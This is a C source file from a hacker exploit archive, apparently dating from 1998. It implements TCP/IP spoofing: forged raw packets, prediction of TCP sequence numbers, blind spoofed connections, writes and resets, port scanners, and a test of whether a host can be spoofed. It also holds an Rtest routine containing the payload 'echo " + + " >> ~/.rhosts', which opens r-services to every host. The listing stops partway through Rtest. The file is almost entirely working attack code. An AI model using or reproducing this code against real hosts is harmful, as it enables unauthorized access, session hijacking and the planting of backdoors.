home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / w00w00 / exploits / ipspoof / spoof.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-08-13  |  28.3 KB  |  1,104 lines
  1. /* w00w00! */
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <fcntl.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <sys/wait.h>
  9. #include <sys/ioctl.h>
  10. #include <sys/stat.h>
  11. #include <netdb.h>
  12. #include <netinet/in.h>
  13. #include <netinet/ip.h>
  14. #include <netinet/ip_icmp.h>
  15. #include <netinet/ip_tcp.h>
  16. #include <netinet/udp.h>
  17.  
  18. #define  ERROR         -1
  19.  
  20. #define  IPHDRSIZE     sizeof(struct iphdr)
  21. #define  ICMPHDRSIZE   sizeof(struct icmphdr)
  22. #define  TCPHDRSIZE    sizeof(struct tcphdr)
  23. #define  PSEUDOHDRSIZE sizeof(struct pseudohdr)
  24. #define  UDPHDRSIZE    sizeof(struct udphdr)
  25.  
  26. /****************************************************************************/
  27. /* structure of the pseudo header                                           */
  28. /****************************************************************************/
  29.  
  30. struct pseudohdr {
  31.     unsigned long saddr;
  32.     unsigned long daddr;
  33.     unsigned char protocol;
  34.     unsigned int  leng;
  35.     char useless;
  36. };
  37.  
  38. struct nnn { u_long ip; } myip;
  39.                                                                 
  40. struct s_hdr {
  41.   __u32 s_ack:32;
  42.   __u32 s_seq:32;
  43.   __u32 s_da_ip:32;
  44.   __u32 s_ip:32;
  45.   __u16 s_sport:16;
  46.   __u16 s_dport:16;
  47. } spoof_hdr;
  48.  
  49.  
  50.  
  51. #ifdef SYSV
  52. #define bcopy(s1,s2,len) memcpy(s2,s1,len)
  53. #endif
  54.  
  55. /****************************************************************************/
  56. /*
  57.  * in_cksum --
  58.  *  Checksum routine for Internet Protocol family headers (C Version)
  59.  */
  60. /****************************************************************************/
  61.  
  62. unsigned short in_cksum(addr, len)
  63.     u_short *addr;
  64.     int len;
  65. {
  66.     register int nleft  = len;
  67.     register u_short *w = addr;
  68.     register int sum    = 0;
  69.     u_short answer      = 0;
  70.  
  71.     /*
  72.      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  73.      * sequential 16 bit words to it, and at the end, fold back all the
  74.      * carry bits from the top 16 bits into the lower 16 bits.
  75.      */
  76.     while (nleft > 1)  {
  77.         sum   += *w++;
  78.         nleft -= 2;
  79.     }
  80.  
  81.     /* mop up an odd byte, if necessary */
  82.     if (nleft == 1) {
  83.         *(u_char *)(&answer) = *(u_char *)w ;
  84.         sum += answer;
  85.     }
  86.  
  87.     /* add back carry outs from top 16 bits to low 16 bits        */
  88.     sum    = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  89.     sum   += (sum >> 16);                  /* add carry           */
  90.     answer = ~sum;                         /* truncate to 16 bits */
  91.     return(answer);
  92. }
  93.  
  94.  
  95. /****************************************************************************/
  96. /*                          SEND A PAKET TCP!                               */
  97. /*                                                                          */
  98. /*  usage: send_pkt(socket, ip of source, ip of dest, source port, dest     */
  99. /*                  port, flags, seq_num, ack_num, window size, *data,      */
  100. /*            size of data);                                          */
  101. /*                                        */
  102. /****************************************************************************/
  103.  
  104. void send_pkt(s, s_ip, d_ip, s_port, d_port, flags, seq_num, ack_num,
  105.               winsize, data, data_size)
  106.    int s;
  107.    unsigned long s_ip;
  108.    unsigned long d_ip;
  109.    unsigned int  s_port;
  110.    unsigned int  d_port;
  111.    unsigned char flags;
  112.    unsigned long seq_num;
  113.    unsigned long ack_num;
  114.    unsigned int  winsize;
  115.    unsigned char *data;
  116.    unsigned int  data_size;
  117.  
  118. {
  119.    struct   sockaddr_in sin_dst;
  120.    struct   iphdr       *ip;
  121.    struct   tcphdr      *tcp;
  122.    struct   pseudohdr   *pseudo;
  123.    unsigned char        *DATA;
  124.    unsigned char        packet[2048];
  125.    int i;
  126.    
  127.    ip     = (struct iphdr      *)packet;
  128.    pseudo = (struct pseudohdr  *)(packet + IPHDRSIZE - PSEUDOHDRSIZE);
  129.    tcp    = (struct tcphdr     *)(packet + IPHDRSIZE);
  130.    DATA   = (unsigned char     *)(packet + IPHDRSIZE + TCPHDRSIZE);
  131.    
  132.    memset(packet, 0, 2048);                     
  133.    memcpy(DATA, data, data_size);                                 
  134.                                                  
  135.    pseudo->saddr    = s_ip;
  136.    pseudo->daddr    = d_ip;
  137.    pseudo->useless  = 0;
  138.    pseudo->protocol = 6;
  139.    pseudo->leng     = htons(TCPHDRSIZE + data_size);
  140.                             
  141.    tcp->th_sport    = htons(s_port);
  142.    tcp->th_seq      = htonl(seq_num);
  143.    tcp->th_ack      = htonl(ack_num);
  144.    tcp->th_off      = 5;
  145.    tcp->th_flags    = flags;
  146.    tcp->th_win      = htons(winsize);
  147.     
  148.    tcp->th_urp=0;     
  149.    tcp->th_dport    = htons(d_port );
  150.    tcp->th_sum      = 0;
  151.    tcp->th_sum      = in_cksum(pseudo, TCPHDRSIZE + PSEUDOHDRSIZE + data_size);
  152.                  
  153.    memset(packet, 0, IPHDRSIZE);
  154.             
  155.    ip->saddr        = s_ip;
  156.    ip->daddr        = d_ip;
  157.    ip->version      = 4;
  158.    ip->ihl             = 5; 
  159.    ip->ttl          = 245;
  160.    ip->protocol     = 6; 
  161.    ip->tot_len      = htons(IPHDRSIZE + TCPHDRSIZE + data_size);
  162.    ip->tos          = 0;
  163.    ip->id           = random() % 1256;
  164.    ip->frag_off     = 0;
  165.    ip->check        = 0;
  166.    ip->check        = in_cksum(packet, IPHDRSIZE);
  167.             
  168.    sin_dst.sin_addr.s_addr = ip->daddr;
  169.    sin_dst.sin_family      = AF_INET;     
  170.         
  171.    i = sendto(s, packet, IPHDRSIZE + TCPHDRSIZE + data_size, 0,
  172.              (struct sockaddr *)&sin_dst, sizeof(struct sockaddr)); 
  173.  
  174.    if (i == ERROR) {
  175.     perror("sendto");
  176.     exit(ERROR);
  177.    }
  178.  
  179. }
  180.  
  181.  
  182. /****************************************************************************/
  183. /*                          SEND A UDP PACKET                               */
  184. /* usage: udp_send(socket, addr of source, addr of dest, port source,       */
  185. /*                 port of dest, *data, size of data);                      */
  186. /****************************************************************************/
  187.  
  188. void udp_send(s, s_addr, d_addr, s_port, d_port, datagram, datasize)
  189.     int s;
  190.     unsigned long  s_addr;
  191.     unsigned long  d_addr;
  192.     unsigned short s_port;
  193.     unsigned short d_port;
  194.     char     *datagram;
  195.     unsigned datasize;
  196. {
  197.  
  198.   struct   sockaddr_in sin;
  199.   struct   udphdr      *udp;
  200.   struct   iphdr       *ip;
  201.   unsigned char        *data;
  202.   unsigned char        packet[1024];
  203.   int i;
  204.  
  205.   ip     = (struct iphdr     *)packet; 
  206.   udp    = (struct udphdr    *)(packet+IPHDRSIZE);
  207.   data   = (unsigned char    *)(packet+IPHDRSIZE+UDPHDRSIZE);
  208.        
  209.   memset(packet, 0, 1024);
  210.  
  211.   udp->source  = htons(s_port); 
  212.   udp->dest    = htons(d_port);
  213.   udp->len     = htons(UDPHDRSIZE+datasize);
  214.   memcpy(data, datagram, datasize);
  215.  
  216.   udp->check    = 0;         
  217.  
  218.   memcpy(data, datagram, datasize);
  219.         
  220.   memset(packet, 0, IPHDRSIZE);
  221.         
  222.   ip->saddr    = s_addr;
  223.   ip->daddr    = d_addr;
  224.   ip->version  = 4;
  225.   ip->ihl      = 5;
  226.   ip->ttl      = 245;
  227.   ip->id       = random()%5985;
  228.   ip->protocol = 17;
  229.   ip->tot_len  = htons(IPHDRSIZE + UDPHDRSIZE + datasize);
  230.   ip->check    = 0;
  231.   ip->check    = in_cksum((char *)packet,IPHDRSIZE);
  232.                                                                         
  233.                                                                         
  234.  
  235.   sin.sin_family      = AF_INET;
  236.   sin.sin_addr.s_addr = d_addr;
  237.   sin.sin_port        = udp->dest;
  238.  
  239.   i = sendto(s, packet, IPHDRSIZE+UDPHDRSIZE+datasize, 0, 
  240.             (struct sockaddr*)&sin, sizeof(struct sockaddr));
  241.  
  242.   if (i == ERROR) {
  243.     perror("sendto");
  244.     exit(ERROR);
  245.   }
  246.  
  247. }
  248.  
  249.  
  250. /****************************************************************************/
  251. /*                          SEND A ICMP PACKET                              */
  252. /*  icmp_echo(socket fd, source, destinatiton, id, sequence number, data,   */
  253. /*            datasize);                            */
  254. /****************************************************************************/
  255. /* IN TEST !!!!!!!                                */
  256. /*
  257. void icmp_echo(s, src, dest, id, seq, data, datasize)
  258.     int  s;
  259.     unsigned long int src;
  260.     unsigned long int dest;
  261.     int  id;
  262.     int  seq;
  263.     char *data;
  264.     unsigned int datasize;
  265.  
  266. {
  267.   unsigned char        *packet;
  268.   unsigned char        *icmpdata;
  269.   struct   iphdr       *ip;
  270.   struct   icmphdr     *icmp;
  271.   struct   sockaddr_in sin_dst;
  272.   int n;
  273.  
  274.   packet = (char *)malloc(IPHDRSIZE + ICMPHDRSIZE + datasize + 1);
  275.   if (packet == NULL) {
  276.     perror("malloc");
  277.     exit(ERROR);
  278.   }
  279.  
  280.   ip       = (struct iphdr   *)packet;
  281.   icmp     = (struct icmphdr *)(packet + IPHDRSIZE);
  282.   icmpdata = (char           *)(packet + IPHDRSIZE + ICMPHDRSIZE);
  283.  
  284.   ip->saddr             =  src;
  285.   ip->daddr             =  dest;
  286.   ip->version           =  4;
  287.   ip->ihl               =  5;
  288.   ip->ttl               =  255;
  289.   ip->protocol          =  1;
  290.   ip->tot_len           =  htons(IPHDRSIZE + ICMPHDRSIZE + datasize);
  291.   ip->tos               =  0;
  292.   ip->id                =  0;
  293.   ip->frag_off          =  0;
  294.   ip->check              =  0;
  295.   ip->check              =  in_cksum(ip, IPHDRSIZE);
  296.   icmp->type             =  8;
  297.   icmp->code             =  0;
  298.   icmp->checksum         =  0;
  299.   icmp->un.echo.id       =  id;
  300.   icmp->un.echo.sequence =  seq;
  301.   memcpy(icmpdata, data, datasize);
  302.  
  303.   icmp->checksum          = in_cksum(icmp, ICMPHDRSIZE + datasize);
  304.  
  305.   sin_dst.sin_addr.s_addr = ip->daddr;
  306.   sin_dst.sin_family      = AF_INET;
  307.  
  308.   n = sendto(s, packet, IPHDRSIZE + ICMPHDRSIZE + datasize, 0,
  309.           (struct sockaddr*)&sin_dst, sizeof(struct sockaddr));
  310.  
  311.   if (n == ERROR) {
  312.         perror("sendto");
  313.         free(packet);
  314.         exit(ERROR);
  315.   }
  316.  
  317.   free(packet);
  318. }
  319. */
  320.  
  321. /****************************************************************************/
  322. /*                         TEST IF  A HOST IS ALIVE                   */
  323. /*                                                                          */
  324. /*                       Not implemented yet                           */
  325. /****************************************************************************/ 
  326.  
  327.  
  328. /****************************************************************************/
  329. /*                   RECV PAKET                                     */
  330. /*  get_pkt(socket, *buffer, size of the buffer);                           */
  331. /****************************************************************************/
  332. int get_pkt(int s, unsigned char *data, int size)
  333. {
  334.   struct sockaddr_in sin;
  335.   int len, resu;
  336.  
  337.   len = sizeof(sin);
  338.   resu = recvfrom(s, data, size, 0, (struct sockaddr *)&sin, &len);
  339.   if (resu == ERROR) {
  340.     perror("recvfrom");
  341.     exit(ERROR);
  342.   }
  343.  
  344.   return resu;
  345. }        
  346.      
  347. /****************************************************************************/
  348. /*                     GET THE SEQ NUMBER                                   */
  349. /*  get_seq (source ip, destination ip, source port)                        */
  350. /****************************************************************************/
  351.  
  352. unsigned long get_seq(s_ip, d_ip, s_port)
  353.   unsigned long s_ip; 
  354.   unsigned long d_ip;
  355.   unsigned int  s_port;
  356.  
  357. {
  358.   struct   tcphdr       *tcp;
  359.   struct   iphdr        *ip;
  360.   unsigned char         data[400];
  361.   unsigned long         ack_num = 0;
  362.  
  363.   int  s, s_r, S_port; 
  364.   int  i = 1,  er;
  365.   int  timeout = 0, on = 1;
  366.  
  367.   ip  = (struct iphdr  *)data;
  368.   tcp = (struct tcphdr *)(data+IPHDRSIZE);
  369.   memset(data, 0, 399);
  370.  
  371.   S_port = random() % 1000;
  372.  
  373.   if ((s = socket(AF_INET, SOCK_RAW, 255)) == ERROR)  {
  374.     perror("socket");
  375.     exit(ERROR);
  376.   }
  377.  
  378.   if ((s_r = socket(AF_INET, SOCK_RAW, 6)) == ERROR)  {
  379.     perror("socket");
  380.     exit(ERROR);
  381.   }
  382.  
  383.   if ((ioctl(s,   FIONBIO, &on)) == ERROR) {
  384.     perror("ioctl");
  385.     exit(ERROR);
  386.   }
  387.  
  388.   if ((ioctl(s_r, FIONBIO, &on)) == ERROR) {
  389.     perror("ioctl");
  390.     exit(ERROR);
  391.   }
  392.    
  393.   #ifdef IP_HDRINCL
  394.   er = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i));
  395.   if (er == ERROR) {
  396.     perror("setsockopt");
  397.     exit(ERROR);
  398.   }
  399.   #endif 
  400.  
  401.   send_pkt(s, s_ip, d_ip, S_port, s_port, TH_SYN, 1234, 0, 512, NULL, 0);
  402.  
  403.   while(timeout < 480) {
  404.        get_pkt(s_r, data, 398);
  405.              
  406.        if(ip->saddr == d_ip) {
  407.              if(tcp->th_dport == htons(S_port))
  408.                   if(tcp->th_sport == htons(s_port))
  409.                       if(tcp->th_flags & TH_ACK) {
  410.                          printf(" Seq. num is %lu\n", ntohl(tcp->th_seq));
  411.                          ack_num = ntohl(tcp->th_seq);
  412.                          break;
  413.                       } 
  414.                      
  415.              usleep(10000);
  416.              timeout++;
  417.        }
  418.   }
  419.  
  420.   close(s);
  421.   close(s_r);
  422.   return ack_num;
  423. } 
  424.  
  425. /****************************************************************************/
  426. /*                     PORT PROBER                                          */
  427. /* usage:  pprobe(ip of destination, port, flags)                           */
  428. /****************************************************************************/
  429.  
  430. int pprobe(da_ip, port, flags)
  431.    unsigned long da_ip;
  432.    unsigned short int port; 
  433.    int flags;
  434. {
  435.   struct    tcphdr       *tcp;
  436.   struct    iphdr        *ip, *ipr;
  437.   unsigned  char         data[400];
  438.   unsigned  char         datar[400];
  439.   int s, s_r, sicmp;
  440.   int resu;
  441.   int timeout = 0;
  442.   int on = 1;
  443.   int er, i;
  444.  
  445.   ip  = (struct iphdr  *)data;
  446.   tcp = (struct tcphdr *)(data+IPHDRSIZE);
  447.   ipr = (struct iphdr  *)data;
  448.  
  449.   memset(data, 0, 399);
  450.  
  451.   if ((s = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  452.     perror("socket");
  453.     exit(ERROR);
  454.   }
  455.  
  456.   if ((s_r = socket(AF_INET, SOCK_RAW, 6)) == ERROR) {
  457.     perror("socket");
  458.     exit(ERROR);
  459.   }
  460.  
  461.   if ((sicmp = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {    
  462.     perror("socket");
  463.     exit(ERROR);
  464.   }
  465.  
  466.   if ((ioctl(s_r, FIONBIO, &on)) == ERROR) {
  467.     perror("ioctl");
  468.     exit(ERROR);
  469.   }
  470.  
  471.   if ((ioctl(sicmp, FIONBIO, &on)) == ERROR) {
  472.     perror("ioctl");
  473.     exit(ERROR);
  474.   }
  475.  
  476.          
  477.   #ifdef IP_HDRINCL
  478.   er = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i));
  479.   if (er == ERROR) {
  480.     perror("setsockopt");
  481.     exit(ERROR);
  482.   }
  483.   #endif
  484.             
  485.  
  486.   send_pkt(s, myip.ip, da_ip, 2669, port, flags, 1234, 0, 512, NULL, 0);
  487.   resu = -1;
  488.  
  489.   while(timeout < 80) {
  490.  
  491.     data[0]  = '0';
  492.         datar[0] = '0';
  493.         usleep(100000);
  494.  
  495.         timeout++;
  496.  
  497.         get_pkt(s_r,   data,  399);
  498.         get_pkt(sicmp, datar, 399);
  499.  
  500.         if(datar[0] != '0') {
  501.         resu = -1;
  502.             printf("ICMP!\n");
  503.             goto fin;
  504.       }
  505.  
  506.       if(data[0] != '0') 
  507.               if(ip->saddr == da_ip)
  508.               if(tcp->th_dport == htons(2669))
  509.                  if(tcp->th_sport == htons(port)) {
  510.                      resu = (tcp->th_flags |  TH_ACK);
  511.                      if(resu==18)resu = 0;    
  512.                      if(resu==20)resu = -1;
  513.                      break;   
  514.                  }
  515.              
  516.               
  517.      
  518.   }
  519.  
  520.   fin:
  521.     if (timeout > 79) printf(" Time Out");
  522.  
  523.   close(s);
  524.   close(s_r);
  525.   close(sicmp);
  526.   return resu;
  527. }          
  528.  
  529. /*****************************************************************************/
  530. /* pprobeS (ip victim, flags, FILE files, port limit)                        */
  531. /*****************************************************************************/
  532.  
  533. int pprobeS(da_ip, flags, files, limit)
  534.     unsigned long da_ip;
  535.     int flags;
  536.     FILE *files;
  537.     u_int limit;
  538. {
  539.   struct   tcphdr       *tcp;
  540.   struct   iphdr        *ip, *ipr;
  541.   unsigned char         data[400], datar[400];
  542.   int   s, s_r, sicmp;
  543.   int   resu;
  544.   int   timeout = 0;
  545.   int   i       = 1;
  546.   u_int lim     = 0;
  547.   int er;
  548.  
  549.   bzero(data, 400);
  550.  
  551.   ip  = (struct iphdr  *)data;
  552.   tcp = (struct tcphdr *)(data + IPHDRSIZE);
  553.   ipr = (struct iphdr  *)data;
  554.  
  555.  
  556.   if ((s =  socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  557.     perror("socket");
  558.     exit(ERROR);
  559.   }
  560.  
  561.   if((s_r = socket(AF_INET, SOCK_RAW, 6)) == ERROR) {
  562.     perror("socket");
  563.     exit(ERROR);
  564.   }
  565.  
  566.   if ((sicmp = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  567.     perror("socket");
  568.     exit(ERROR);
  569.   }
  570.  
  571.   /* ioctl(s_r,FIONBIO,&on);   */
  572.   /* ioctl(sicmp,FIONBIO,&on); */
  573.  
  574.          
  575.   #ifdef IP_HDRINCL
  576.   er = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i));
  577.   if (er == ERROR) {
  578.     perror("setsockopt");
  579.     exit(ERROR);
  580.   }
  581.   #endif
  582.             
  583.   resu = -1;
  584.   lim  =  1;
  585.  
  586.   while(lim < limit) {
  587.     send_pkt(s, myip.ip, da_ip, 2669, lim, flags, 1234, 0, 
  588.                  512, NULL, 0);
  589.  
  590.     data[0] = '0', datar[0] = '0';  
  591.  
  592.     get_pkt(s_r, data , 399);
  593.         
  594.        if(data[0] != '0')
  595.            if(ip->saddr == da_ip)
  596.               if(tcp->th_dport == htons(2669))
  597.                  if(tcp->th_sport != htons(2669)) {                    
  598.                          resu = (tcp->th_flags | TH_ACK);
  599.                          if(resu == 18) {
  600.                          printf("the port %d is open!\n", 
  601.                 ntohs(tcp->th_sport));
  602.                            fprintf(files,"%d\n", ntohs(tcp->th_sport));
  603.                              fflush(files); 
  604.                               goto fin;
  605.                          } 
  606.                  }
  607.     
  608.     fin:
  609.         lim++;
  610.   }
  611.  
  612.   if (timeout > 79) printf(" Time Out");
  613.  
  614.   close(s);
  615.   close(s_r);
  616.   close(sicmp);
  617.   return resu;
  618. }          
  619.  
  620.  
  621.  
  622.                                                                                
  623. /****************************************************************************/
  624. /*                       UDP PORT PROBER                                    */
  625. /* usage: Upprobe(ip of destination, port)                                  */
  626. /****************************************************************************/
  627.  
  628. int Upprobe(unsigned long da_ip, unsigned short int port)
  629. {
  630.   struct   sockaddr_in  sin_dst;
  631.   struct   icmphdr      *icmp;
  632.   struct   iphdr        *ip;
  633.   unsigned char         data[400];
  634.   int  s, s_r;
  635.   int  i = 0;
  636.   int  resu;
  637.  
  638.   ip  =  (struct iphdr   *)data;
  639.   icmp = (struct icmphdr *)(data+IPHDRSIZE);
  640.   memset(data, 0, 399);
  641.  
  642.   if ((s = socket(AF_INET, SOCK_DGRAM, 17)) == ERROR) {
  643.     perror("socket");
  644.     exit(ERROR);
  645.   }
  646.  
  647.   if ((ioctl(s, FIONBIO, &i)) == ERROR) {
  648.     perror("ioctl");
  649.     exit(ERROR);
  650.   }
  651.  
  652.   sin_dst.sin_family      = AF_INET;
  653.   sin_dst.sin_port        = htons(port);
  654.   sin_dst.sin_addr.s_addr = da_ip;
  655.   sendto(s, NULL, 0, 0, (struct sockaddr *)&sin_dst, sizeof(sin_dst));
  656.  
  657.   if ((s_r = socket(AF_INET, SOCK_RAW, 1)) == ERROR) {
  658.     perror("socket");
  659.     exit(ERROR);
  660.   }
  661.  
  662.   i = 1;
  663.  
  664.   if ((ioctl(s_r, FIONBIO, &i)) == ERROR) {
  665.     perror("ioctl");
  666.     exit(ERROR);
  667.   }
  668.           
  669.   resu = -1;  
  670.  
  671.   while (1) {
  672.     data[0] = '0';
  673.     get_pkt(s_r, data, 399);
  674.  
  675.     if(data[0] != '0') { 
  676.         printf(" ???\n");
  677.           if(ip->saddr == da_ip)
  678.               if(ip->protocol == 1) {
  679.                   resu = 0;     
  680.                   goto fin;
  681.               } else
  682.               resu = -1;
  683.         }  
  684.   }
  685.  
  686.   fin:
  687.     return resu;
  688.  
  689. } 
  690.          
  691. /****************************************************************************/
  692. /*                     Make a spoofed connection                            */
  693. /*                                                                          */
  694. /* usage(socket, source ip, destination ip, source port, destination port,  */
  695. /*       your ip)                                     */
  696. /****************************************************************************/
  697.  
  698. int Sconnect(s, s_ip, d_ip, s_port, d_port, myhost)
  699.     int s;
  700.     unsigned long  s_ip;
  701.     unsigned long  d_ip;
  702.     unsigned short int s_port;
  703.     unsigned short int d_port;
  704.     unsigned long  myhost;
  705.  
  706. { 
  707.  
  708.   int loop;
  709.  
  710.   spoof_hdr.s_seq   = 1;
  711.   spoof_hdr.s_da_ip = d_ip;
  712.   spoof_hdr.s_ip    = s_ip;
  713.   spoof_hdr.s_sport = s_port;
  714.   spoof_hdr.s_dport = d_port;
  715.   spoof_hdr.s_ack   = get_seq(myhost, d_ip, d_port);
  716.  
  717.   if(spoof_hdr.s_ack == 0) {
  718.     printf(" Too Slow\n");
  719.     return(2);
  720.   }
  721.  
  722.   send_pkt(s, s_ip, d_ip, s_port, d_port, TH_SYN, spoof_hdr.s_seq, 
  723.        1, 512, NULL, 0);
  724.  
  725.   for(loop = 1; loop < 8; loop++) {
  726.     spoof_hdr.s_seq = spoof_hdr.s_seq;
  727.     printf(" spoof ack +64000 * %d + 1 = %lu\n",
  728.         loop, (u_long) spoof_hdr.s_ack + (64000 * loop) + 1);
  729.     send_pkt(s, s_ip, d_ip, s_port, d_port, TH_ACK, spoof_hdr.s_seq + 1, 
  730.          spoof_hdr.s_ack + (64000 * loop) + 1, 14360, NULL, 0); 
  731.   }
  732.  
  733.   spoof_hdr.s_seq++;
  734.   return(0);
  735. }
  736.  
  737. /****************************************************************************/
  738. /*               Spoofed write  (need to use Sconnect before this)          */
  739. /* usage:  Swrite (socket, *data, size of data );                           */
  740. /****************************************************************************/
  741.  
  742.  
  743. void Swrite(int s, u_char *data, int size)
  744. {
  745.   int loop;
  746.  
  747.   for(loop = 1; loop < 8; loop++) {
  748.     send_pkt(s, spoof_hdr.s_ip, spoof_hdr.s_da_ip, spoof_hdr.s_sport, 
  749.              spoof_hdr.s_dport, (TH_PUSH|TH_ACK), spoof_hdr.s_seq, 
  750.              spoof_hdr.s_ack + (64000 * loop) + 1, 14360, data, size);
  751.   }
  752.  
  753.   spoof_hdr.s_seq = spoof_hdr.s_seq+size;
  754. }   
  755.  
  756.  
  757. /****************************************************************************/
  758. /* Spoofed write 2                                */
  759. /* usage: Swrites(s, *data);                                */
  760. /****************************************************************************/
  761. void Swrites(int s, char *data)
  762. {
  763.     int size;
  764.     size = strlen(data);
  765.     Swrite(s, data, size);
  766. }
  767.  
  768.  
  769. /****************************************************************************/
  770. /* RESET CONNETION                                */
  771. /****************************************************************************/
  772.  
  773. void Srst(int s)
  774. {
  775.   int loop;
  776.  
  777.   for(loop = 1; loop < 8; loop++) {
  778.     send_pkt(s,spoof_hdr.s_ip,  spoof_hdr.s_da_ip,
  779.                  spoof_hdr.s_sport, spoof_hdr.s_dport,
  780.                  TH_FIN, spoof_hdr.s_seq, spoof_hdr.s_ack +
  781.          (64000 * loop) + 1, 14360, NULL, 0);
  782.   }
  783.  
  784.   for(loop=1; loop < 8; loop++) {
  785.     send_pkt(s, spoof_hdr.s_ip, spoof_hdr.s_da_ip, spoof_hdr.s_sport,
  786.              spoof_hdr.s_dport, TH_ACK, spoof_hdr.s_seq, 
  787.          spoof_hdr.s_ack + (64000 * loop) + 1, 14360, NULL, 0);
  788.  
  789.   }
  790.  
  791. }   
  792.  
  793.  
  794. /****************************************************************************/
  795. /*           Test if a host is spoofable                                    */
  796. /* usage: Stest (myhost,ip dest , port of dest);                            */
  797. /****************************************************************************/
  798.  
  799. int Stest(unsigned long myhost, unsigned long ip_d, unsigned short d_port)
  800. {
  801.   u_long resu;
  802.   u_long resu1;
  803.   u_long resu2;
  804.   u_long resu3;
  805.   int done = -1;
  806.  
  807.  
  808.   resu   = get_seq(myhost, ip_d, d_port);
  809.   resu1  = get_seq(myhost, ip_d, d_port);
  810.   resu2  = get_seq(myhost, ip_d, d_port);
  811.   resu3  = get_seq(myhost, ip_d, d_port);
  812.  
  813.  
  814.   if(((resu1 - resu)  == 64000) || ((resu1 - resu)  == 128000)) done = 0;
  815.   if(((resu3 - resu2) == 64000) || ((resu3 - resu2) == 128000)) done = 0;
  816.  
  817.   return  done;
  818.  
  819. }
  820.  
  821. /****************************************************************************/
  822. /*    get the ip from a host -l ouput file                                  */
  823. /* usage: IPFILES( *the src file, *the output file);                        */
  824. /****************************************************************************/
  825.  
  826. void IPFILES(FILE *DA, FILE *trace)
  827. {
  828.   char ipz[256];
  829.   int oki;
  830.  
  831.   while(!feof(DA)) {                
  832.      int size;
  833.  
  834.      fscanf(DA , "%s", ipz);  
  835.       
  836.      size = strspn(ipz, "aAeEiIoOuUyYgG");
  837.      if (size <= 0) oki = 1;
  838.  
  839.      if(oki == 1) {  
  840.         fprintf(trace, "%s\n", ipz );
  841.         fflush(trace);
  842.         oki = 0;
  843.      }
  844.           
  845.      if(feof(DA)) break;
  846.         
  847.   }
  848.  
  849. }
  850.  
  851. /****************************************************************************/
  852. /*                  Do a port scan                        */
  853. /*  Scan2(int *input, int *output, size of *, flags, ip);              */
  854. /****************************************************************************/
  855.  
  856. void Scan2(int *ptr, int *outptr, int Size, int flags, u_long da_ip)
  857. { 
  858.   int s, i = 1, s_r, resu, timeout = 0, try = 0, on = 1;
  859.  
  860.   struct   tcphdr *tcp, *tcpr;
  861.   struct   iphdr  *ip,  *ipr;
  862.  
  863.   unsigned char   data[400];
  864.   unsigned char   datar[400];
  865.  
  866.   ip  = (struct iphdr  *)data;
  867.   tcp = (struct tcphdr *)(data+IPHDRSIZE);
  868.   ipr = (struct iphdr  *)datar;
  869.   tcpr= (struct tcphdr *)(datar+IPHDRSIZE);
  870.  
  871.   memset(outptr, 0, (Size / 2));
  872.   memset(data, 0, 399);
  873.  
  874.   if ((s = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  875.     perror("socket");
  876.     exit(ERROR);
  877.   }
  878.  
  879.   if ((s_r = socket(AF_INET, SOCK_RAW, 255)) == ERROR) {
  880.     perror("socket");
  881.     exit(ERROR);
  882.   }
  883.  
  884.   if ((ioctl(s_r, FIONBIO, &on)) == ERROR) {
  885.     perror("socket");
  886.     exit(ERROR);
  887.   }
  888.          
  889.   #ifdef IP_HDRINCL
  890.   if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&i, sizeof(i)) 
  891.             == ERROR) {
  892.     perror("setsockopt");
  893.     exit(ERROR);
  894.   }
  895.   #endif
  896.             
  897.  
  898.   while(timeout < 540) {
  899.       data[0]  = '0';
  900.         datar[0] = '0';
  901.  
  902.       usleep(10000);
  903.  
  904.       timeout = timeout + 1;
  905.  
  906.           if(try < Size)
  907.          if(*(ptr + try) != 0) 
  908.         send_pkt(s, myip.ip, da_ip, 40000 - try, *(ptr + try), flags,
  909.                  1234, 0, 512, NULL, 0);
  910.  
  911.       get_pkt(s_r, datar, 399);
  912.  
  913.       if(datar[0] != '0')
  914.            if(ipr->saddr == da_ip)
  915.         if(ntohs(tcpr->th_dport) > 39000) {   
  916.                    resu = (tcpr->th_flags | TH_ACK);
  917.                    if(resu == 18) {
  918.                    *(outptr + (40000 - ntohs(tcpr->th_dport))) = 1;
  919.                           printf("The port %i responded :)\n",
  920.                 ntohs(tcpr->th_sport));
  921.                           resu = 0;
  922.                        datar[0] = '0';
  923.                    }
  924.                 }      
  925.  
  926.           try++;
  927.   }   
  928. } 
  929.  
  930.  
  931. /****************************************************************************/
  932. /*  Rtest a function for test the permission of R* service                  */
  933. /*  Rtest(ip of victim, port, *remote user, *local user);            */
  934. /****************************************************************************/
  935.  
  936. int Rtest(u_long ip, int port, char *Ruser, char *Luser)
  937. {
  938.   struct sockaddr_in adresse_serveur,adresse_client;
  939.   char   bla[2000], cmd[200], *cmdptr;
  940.   char   exe[200] = "echo \" + + \" >> ~/.rhosts";
  941.   int    socket_client, err, res;
  942.   int    longueur = sizeof(struct sockaddr_in);
  943.  
  944.   bzero(bla, 2000);
  945.   bzero(cmd, 200);
  946.   cmdptr = cmd;
  947.  
  948.   if(port == 514) {
  949.     
  950.     if((socket_client = socket(AF_INET, SOCK_STREAM, 6)) == ERROR) {
  951.         perror("socket");
  952.         exit(ERROR);
  953.         }
  954.  
  955.     adresse_client.sin_family      = AF_INET;
  956.     adresse_client.sin_addr.s_addr = htonl(INADDR_ANY);
  957.     adresse_client.sin_port        = htons(764 + 1 +(100.0 * rand() / 
  958.                                (RAND_MAX + 1.0)));
  959.         printf("port %i\n", ntohs(adresse_client.sin_port));
  960.  
  961.         res = bind(socket_client, (struct sockaddr *)&adresse_client, 
  962.            longueur);
  963.  
  964.         if (res == ERROR) {
  965.         perror("bind");
